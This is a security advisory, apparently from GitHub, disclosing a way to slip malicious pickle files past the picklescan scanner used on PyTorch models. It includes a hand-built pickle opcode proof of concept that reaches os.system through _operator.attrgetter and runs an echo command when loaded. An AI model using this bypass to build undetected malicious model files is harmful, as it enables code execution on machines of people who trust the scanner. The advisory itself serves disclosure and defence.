Picklescan uses _operator.attrgetter, which is a built-in python library function to execute remote pickle files.
The attack payload executes in the following steps:
import pickle
import pickletools
opcode3 = b'''cbuiltins
__import__
(Vos
tRp0
0c_operator
attrgetter
(Vsystem
tR(g0
tR(Vecho "pwned by _operator.attrgetter"
tR.'''
pickletools.dis(opcode3)
pickle.loads(opcode3)
This PoC can't be easily create by pickle.dumps, so it was manually built.
Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Pinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).
{
"severity": "HIGH",
"github_reviewed_at": "2025-12-30T15:24:00Z",
"cwe_ids": [
"CWE-502",
"CWE-94"
],
"nvd_published_at": null,
"github_reviewed": true
}